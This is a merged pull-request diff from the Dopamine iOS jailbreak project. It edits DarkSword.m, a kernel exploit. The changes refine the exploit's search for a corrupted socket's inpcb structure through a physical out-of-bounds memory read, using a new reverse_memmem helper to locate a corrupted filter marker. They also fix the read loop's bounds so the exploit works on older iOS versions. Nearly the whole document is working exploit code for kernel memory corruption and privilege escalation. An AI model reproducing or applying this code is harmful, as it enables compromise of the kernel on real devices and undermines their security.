Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
41 changes: 35 additions & 6 deletions Application/Dopamine/Exploits/DarkSword/DarkSword.m
Original file line number Diff line number Diff line change
Expand Up @@ -109,6 +109,25 @@ uint64_t unpac_ptr(uint64_t kptr)
return __xpaci(kptr);
}

static void* reverse_memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len) {
if (needle_len == 0)
return (void *)haystack; // Match at start if needle is empty

if (haystack_len < needle_len)
return NULL;

const char *h = (const char *)haystack;
const char *n = (const char *)needle;

for (size_t i = haystack_len - needle_len + 1; i-- > 0; ) {
if (memcmp(h + i, n, needle_len) == 0) {
return (void *)(h + i);
}
}

return NULL;
}

pthread_t freeThread;

void init_globals(void)
Expand Down Expand Up @@ -636,14 +655,23 @@ int find_and_corrupt_socket(mach_port_t memoryObject, mach_vm_offset_t seekingOf
int searchStartIdx = 0;
bool targetFound = false;
uint64_t pcbStartOffset = 0;
void *found = NULL;
uint64_t corrupted_filter_marker = 0x0000ffffffffffff;
void* found = NULL;
do {
found = memmem(readBuffer + searchStartIdx, OOB_SIZE - searchStartIdx, executableName, strlen(executableName));
if (found) {
pcbStartOffset = (uint64_t)found - (uint64_t)readBuffer & 0xFFFFFFFFFFFFFC00;
if (*(uint64_t *)((uintptr_t)readBuffer + pcbStartOffset + koffsetof(inpcb, icmp6filt) + 8)) {
targetFound = true;
break;
// original implementation would apply a mask to the oracle ptr to get pcbStartOffset
// but that approach doesn't work on older iOS versions, so we search for the corrupted filter
// and calculate pcbStartOffset from there, which works on all versions
uint64_t found_offset = (uint8_t*)found - (uint8_t*)readBuffer;
void* filter_found = reverse_memmem(found, found_offset, &corrupted_filter_marker, sizeof(corrupted_filter_marker));
if (filter_found != NULL) {
uint64_t filter_offset = (uint8_t*)filter_found - (uint8_t*)readBuffer;
if (filter_offset >= koffsetof(inpcb, icmp6filt) + 0x8) {
pcbStartOffset = filter_offset - (koffsetof(inpcb, icmp6filt) + 0x8);
targetFound = true;
break;
}
}
}
searchStartIdx += 0x400;
Expand Down Expand Up @@ -794,7 +822,8 @@ void pe_v1(void)
}
surface_mlock(searchMappingAddress, searchMappingSize);
mach_vm_offset_t seekingOffset = 0;
while (seekingOffset < searchMappingSize) {
// fix mach_vm_map err on free thread, we'd try to map outside mo
while (seekingOffset <= searchMappingSize - pcSize) {
kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
if (kr == KERN_SUCCESS) {
if (find_and_corrupt_socket(memoryObject, seekingOffset, readBuffer, writeBuffer, targetInpGencntList, false) == KERN_SUCCESS) {
Expand Down